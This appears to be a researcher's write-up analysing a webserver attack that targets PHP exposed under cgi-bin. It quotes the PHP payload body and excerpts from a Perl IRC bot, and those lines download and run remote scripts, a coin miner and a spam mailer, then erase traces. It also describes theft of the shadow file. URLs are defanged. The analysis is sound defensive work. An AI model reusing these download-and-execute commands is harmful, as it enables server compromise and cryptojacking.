Here’s another version of the Netgear DGN bug being used recently - an attack against webservers that have php executable under cgi-bin. The POST request URL looks like:


Which translates to:


The body of the request is then:

<? system("cd /tmp ; wget hxxp:// ; curl -O hxxp:// ; fetch hxxp:// ; chmod +x clean ; ./clean ; rm -rf clean* ; history -c "); ?>

That “clean” script actually begins by cleaning up things some other recent versions of the exploit have left behind… It kills xmrig, minerd, and several other things that look like part of earlier attacks. Then it grabs some information about your system, and the shadow file, and mails it all to

The next step is to download a Perl IRC bot - hxxp:// Virus Total hadn’t seen this particular hash yet, but this is a pretty common one. The specific “configuration” is by “Lucifer@2018”, with BTC address “16p68FyW8Pe2mNutg5Qu8afJt18dqX8W5z”, at “”.

This IRC bot actually does a little more…

if ($funcarg =~ /^mineBTC (.*)/) {
        my $stringfolder;
    for (0..7) { $stringfolder .= chr( int(rand(25) + 65) ); }
    my $minerUrl = "hxxp://";
    system("killall -9 minerd ; cd /tmp ; rm -rf .doc-* ; mkdir .doc-$stringfolder ; cd .doc-$stringfolder ; wget $minerUrl ; curl -O $minerUrl ; fetch $minerUrl ; tar -zxvf mineryess.tgz ; rm -rf  mineryess.tgz* ; mv miner .xdxdx ; cd .xdxdx ; chmod +x * ; nohup ./minerd -o stratum+tcp:// -u 1Ay4VXFPL93yu1UMpYwBC6P3QqzaQXeHTm -p d=0.5,x11=0.5,qubit=0.5,bitcore=0.5,tribus=0.5,hsr=0,5,phi=0,5,equihash=0.5,hmq1725=0.5,equihash=0.5 >/dev/null &");
        $pid_minerd = `pgrep minerd`;
    sendraw($IRC_cur_socket, "PRIVMSG $printl :^B^C4,1 [BTC MINING]^B ^C9,1STARTED ! PID : $pid_minerd");

Download a coin miner from Pool specified in there too…

And because one cleaning script isn’t enough…

if ($funcarg =~ /^cleanbots (.*)/) {
        my $stringfolder;
    sendraw($IRC_cur_socket, "PRIVMSG $printl :^B^C4,1 [CLEAN BOTS]^B ^C9,1STARTED !");
    for (0..7) { $stringfolder .= chr( int(rand(25) + 65) ); }
    my $scripturl = "hxxp://";
    system("cd /tmp ; rm -rf .cl-* ; mkdir .cl-$stringfolder ; cd .cl-$stringfolder ; wget $scripturl ; curl -O $scripturl ; fetch $scripturl ; chmod +x * ; nohup ./clean >/dev/null &");
        system("cd /tmp ; rm -rf .cl-$stringfolder ; history -c");

The resulting cleaning script is the same as the earlier one, including the gmail dump address and “plaintext.txt” specification.

All kinds of little tools to download from different places…

if ($funcarg =~ /^startsend (.*)/) {
  my $target1 = "$1";
  my $target2 = "$2";
  my $stringfolder;
    for (0..7) { $stringfolder .= chr( int(rand(25) + 65) ); }
    my $senderUrl = "hxxp://";
    system("cd /tmp ; rm -rf .snd-* ; mkdir .snd-$stringfolder ; cd .snd-$stringfolder ; echo $meunick > `pwd`/botnick ; wget $senderUrl ; curl -O $senderUrl ; fetch $senderUrl ; tar -zxvf send.tgz ; rm -rf  send.tgz* ; chmod +x * ; nohup php send.php $target1 $target2 ; cd /tmp ; rm -rf .snd-$stringfolder >/dev/null &");
    sendraw($IRC_cur_socket, "PRIVMSG $printl :^B^C4,1 [E-mail sending]^B ^C9,1STARTED ! File : $target1 $target2");

“send.tgz” includes a php script which will require some deobfuscation, it uses a ton of “\x” encoding, then further uses a bunch of indirection through PHP global variables… After some analysis, it looks like a script that uses a variety of indirection means to be commanded to send email. There seems to be support for reading a file mapping IRC bot nicknames to email addresses. This would be handy when trying to use a botnet to send email to a bunch of destinations. The content seems to come from a set URL, then the IRC controller can command bots to read the list of emails from a URL specified in the command.

“miner.tgz” contains a copy of cpuminer-yescrypt. It even includes the source… It even includes the .git directory, actually, which reveals that its origin was actually noncepool’s version. The config log reveals that configuration was run on “”, “3.2.0-4-amd64”, “Debian 3.2.51-1”, but “gcc version 4.7.2 (Debian 4.7.2-5)”.

This specific compile of minerd (SHA256 925e4a411a254cb3364b8dd5c3c184ba92bd1100a4ae06902f3905ceeb38c4a0) was first uploaded to VirusTotal on 19 Oct, 2017, and the compile times (preserved because it’s from a tar file) were from 10 Jun, 2017, so generally in-line.